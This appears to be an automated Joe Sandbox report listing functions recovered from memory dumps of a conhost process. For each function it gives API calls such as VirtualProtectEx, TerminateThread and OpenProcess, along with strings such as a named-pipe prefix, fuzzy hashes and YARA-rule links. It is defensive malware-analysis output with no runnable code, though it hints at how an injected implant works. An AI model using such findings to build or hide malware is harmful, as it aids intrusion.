Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction ID: 98f29aa7e5054571ba2971a85171dd2197181adc8c74e9f87833a4a8cf0165f6
Opcode Fuzzy Hash: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction Fuzzy Hash: 0D016D31714A4096EB14DB62B5A839963A1F789FC8F488134DE8D43765EE3CC99BC741

Function 00000146F6B03B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000146F6B036B0), ref: 00000146F6B03B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000146F6B036B0), ref: 00000146F6B03B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000146F6B036B0), ref: 00000146F6B03B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000146F6B036B0), ref: 00000146F6B03B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000146F6B036B0), ref: 00000146F6B03B97
TerminateThread.KERNEL32(?,?,?,?,?,00000146F6B036B0), ref: 00000146F6B03BA6

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: df0ee3cef39982fc7aa210a35120d66d6e039d937343159590aa72960a7f9cb8
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: 5B016D34621B4492EB259B31F86C79923A0BB4AB49F040528C98D46774EF3DC96EC702

Function 00000146F6AD8835 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000146F6AD8843
_IsNonwritableInCurrentImage.LIBCMT ref: 00000146F6AD88D8

Strings

f, xrefs: 00000146F6AD8856
csm, xrefs: 00000146F6AD88BE
displacement map', xrefs: 00000146F6AD88D1

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: 1f6b35a9d0d68322aa46315971d6771835e8d7068494a4f8879e5e9a0385bf88
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: 5F51DF362122008AEB25CF35F464B983796F352BDCF1081A1DECA437A8DB35DD6AC702

Function 00000146F6B09435 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000146F6B09443
_IsNonwritableInCurrentImage.LIBCMT ref: 00000146F6B094D8
RtlUnwindEx.NTDLL ref: 00000146F6B09527

Strings

csm, xrefs: 00000146F6B094BE
f, xrefs: 00000146F6B09456

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: ad003fe22fcb01ce915ac49c68eb8e816938668d7b58fdca21f68b1f67411c67
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: B451D536221701AADB14EB36F5247993B95F342B8DF11A020DB9E4379AEB35CD5AC701

Function 00000146F6AD8818 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000146F6AD8843
_IsNonwritableInCurrentImage.LIBCMT ref: 00000146F6AD88D8

Strings

f, xrefs: 00000146F6AD8856
csm, xrefs: 00000146F6AD88BE
displacement map', xrefs: 00000146F6AD88D1

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction ID: 008bddb556d0092e0377e594e4234462f2c2c00787e1ef61c8790838cd8c164a
Opcode Fuzzy Hash: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction Fuzzy Hash: A331AD3220164096E714DF22F864B993BAAF352BDCF158054EEDE037A5CB39CD6AC706

Function 00000146F6B09418 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000146F6B09443
_IsNonwritableInCurrentImage.LIBCMT ref: 00000146F6B094D8
RtlUnwindEx.NTDLL ref: 00000146F6B09527

Strings

csm, xrefs: 00000146F6B094BE
f, xrefs: 00000146F6B09456

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: cd5e78f7a824d61b6a4bd1de3076d2d48bd843f6231fa7e8b66aa639a396b76c
Instruction ID: d78a5896d1254e70af6ea3a02e15ff3a07882ff892e8b1e037489ac3a1a11c8c
Opcode Fuzzy Hash: cd5e78f7a824d61b6a4bd1de3076d2d48bd843f6231fa7e8b66aa639a396b76c
Instruction Fuzzy Hash: FB31C435220741A6E724EF22F9647993B94F342B8CF05A014AEDE437A6DB38CD6AC705

Function 00000146F6B019D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000146F6B019F8
StrCmpNIW.SHLWAPI ref: 00000146F6B01A12
lstrlenW.KERNEL32 ref: 00000146F6B01A21
StrCpyW.SHLWAPI ref: 00000146F6B01A36

Strings

\\?\, xrefs: 00000146F6B01A06

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction ID: cd33a85492edcac8cd4b86a101e09e060abf8368369994b3e381718b372163ab
Opcode Fuzzy Hash: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction Fuzzy Hash: B3F0AF32324680A2EB308B34F5E439A6760F785B8CF845020DACD42564EE7CCAAECB01

Function 00000146F6B0330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000146F6B02576), ref: 00000146F6B0332E
StrCpyW.SHLWAPI ref: 00000146F6B0333E
StrCatW.SHLWAPI ref: 00000146F6B0334A
PathCombineW.SHLWAPI(?,?,00000000,00000146F6B02576), ref: 00000146F6B03358

Strings

\\.\pipe\, xrefs: 00000146F6B03324

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: 5ae736b2629b7ac713addf57ffb69b1cb0873ce7a05c663ce18a9ddfdfd4fe8c
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: 4BF0897032478091EA204B27B964199A651BB4DFC4F085030EE9E07738DF2CC96BC701

Function 00000146F6B0C0C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000146F6B0C0ED
GetProcAddress.KERNEL32 ref: 00000146F6B0C103
FreeLibrary.KERNEL32 ref: 00000146F6B0C12A

Strings

CorExitProcess, xrefs: 00000146F6B0C0FC
mscoree.dll, xrefs: 00000146F6B0C0E4

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction ID: 704a484ae3ff6636a57b22812343704bfad55ac1e5968dbae4e73cbe90daf0ac
Opcode Fuzzy Hash: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction Fuzzy Hash: 75F06271321604A1EE108B34F8A83995330FB4A7A9F541215C6EE461F4DF3CC86ED301

Function 00000146F6B05500 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000146F6B05586

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction ID: ce3e5a340b28ba34dfb5382e66257825f23a92809ef55249051b301fe51ea021
Opcode Fuzzy Hash: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction Fuzzy Hash: 2F02EB3622CB8486D760CB65F5A439ABBA0F3C5794F105015EACE87B69DF7CC859CB01

Function 00000146F6B05B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000146F6B05B56

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction ID: f49f88ec219468046798eb801acbdd51567cd1a0aafb522fea58007a9fc25928
Opcode Fuzzy Hash: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction Fuzzy Hash: 4761ED32129B4496E760CB25F66479ABBE0F38A788F501115EACD47BB4DB7CC859CF01

Function 00000146F6AE3934 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000146F6AE395C
_set_statfp.LIBCMT ref: 00000146F6AE3977
_set_statfp.LIBCMT ref: 00000146F6AE3993
_set_statfp.LIBCMT ref: 00000146F6AE39CF

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 8c266b06c706cc7fa8022ab1d05744c777aba39d606e61e16b1767b86428c3e0
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0A117332A14E1141FA54157BF4763E91181AB7737CF454A34AAFE076FACF288C6F9206

Function 00000146F6B14534 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000146F6B1455C
_set_statfp.LIBCMT ref: 00000146F6B14577
_set_statfp.LIBCMT ref: 00000146F6B14593
_set_statfp.LIBCMT ref: 00000146F6B145CF

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: e8b77affa320c937df7277b01b18f038b663882237b99e69fb74665e4ed23667
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: FF118232A30A1121FA541378F4763E911816B5B37CF584634ABFE466FADB688C6F4303

Function 00000146F6B0AE4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000146F6B0AE98
_CallSETranslator.LIBVCRUNTIME ref: 00000146F6B0AEE7

Strings

MOC, xrefs: 00000146F6B0AEAC
RCC, xrefs: 00000146F6B0AEB5

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction ID: dfe7db06bc1ce74b2971c940f18112277ff0195f7b7d7de5b9bb9b34fbe9b83b
Opcode Fuzzy Hash: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction Fuzzy Hash: D9617A73610B449AE7208F65E5403DD7BA0F346B8CF145615EE8D13BAADB38C8AAC701

Function 00000146F6ADA5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000146F6ADA5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000146F6ADA6B8

Strings

csm, xrefs: 00000146F6ADA5F2
csm, xrefs: 00000146F6ADA70A

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 7d9965c5958a57982f8946a5edeae17a06e8b29f21e0d8387158f4eb5ee734e9
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 61517D32100280D6EB648F35E46439877A2F756B98F144115DFDD87BE9EB38D87ACB02

Function 00000146F6B0B1A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000146F6B0B1D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000146F6B0B2B8

Strings

csm, xrefs: 00000146F6B0B1F2
csm, xrefs: 00000146F6B0B30A

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 9d38800803987caae89d804f5a7eabc448c2ca3ce8211e2e8ba6acd2dba4b357
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: D6516232120340E6EB748B35B66439C7E90E757B88F146215DBDE87BE5CB39D86AC702

Function 00000146F6B03554 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000146F6B03576
StrStrW.SHLWAPI ref: 00000146F6B03594
StrToIntW.SHLWAPI ref: 00000146F6B035BB

Part of subcall function 00000146F6B01934: OpenProcess.KERNEL32 ref: 00000146F6B0195A
Part of subcall function 00000146F6B01934: K32GetModuleFileNameExW.KERNEL32 ref: 00000146F6B01978
Part of subcall function 00000146F6B01934: PathFindFileNameW.SHLWAPI ref: 00000146F6B01987
Part of subcall function 00000146F6B01934: lstrlenW.KERNEL32 ref: 00000146F6B01993
Part of subcall function 00000146F6B01934: StrCpyW.SHLWAPI ref: 00000146F6B019A6
Part of subcall function 00000146F6B01934: CloseHandle.KERNEL32 ref: 00000146F6B019B4

Part of subcall function 00000146F6B03C74: StrCmpNIW.SHLWAPI(?,?,?,00000146F6B0254B), ref: 00000146F6B03C8C

Strings

pid_, xrefs: 00000146F6B0356C

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction ID: fcc9d5a5d6a5f5c19fb5f22cebab2539d87c4b39c5f1fb1b8c0b793391034ac5
Opcode Fuzzy Hash: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction Fuzzy Hash: EC115431328742B1EB609735F9293DA5AA4F746788F9051219ECD837B5EF28CD2EC741

Function 00000146F6B12488 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000146F6B12507
WriteFile.KERNEL32 ref: 00000146F6B127CF
WriteFile.KERNEL32 ref: 00000146F6B12815
GetLastError.KERNEL32 ref: 00000146F6B128CB

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction ID: 971f88379b0ec2dc479cbb7992210d2b94cc3b39450e9ecc8c27ef34c3018d5d
Opcode Fuzzy Hash: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction Fuzzy Hash: AAD1F132B24A84AAE711CFB9E5502DC37B1F74579CF004216CE9D97BA9DA34C86BC741

Function 00000146F6B014A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000146F6B014C5
HeapFree.KERNEL32 ref: 00000146F6B014D4
GetProcessHeap.KERNEL32 ref: 00000146F6B014E1
HeapFree.KERNEL32 ref: 00000146F6B014F0
GetProcessHeap.KERNEL32 ref: 00000146F6B01500

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
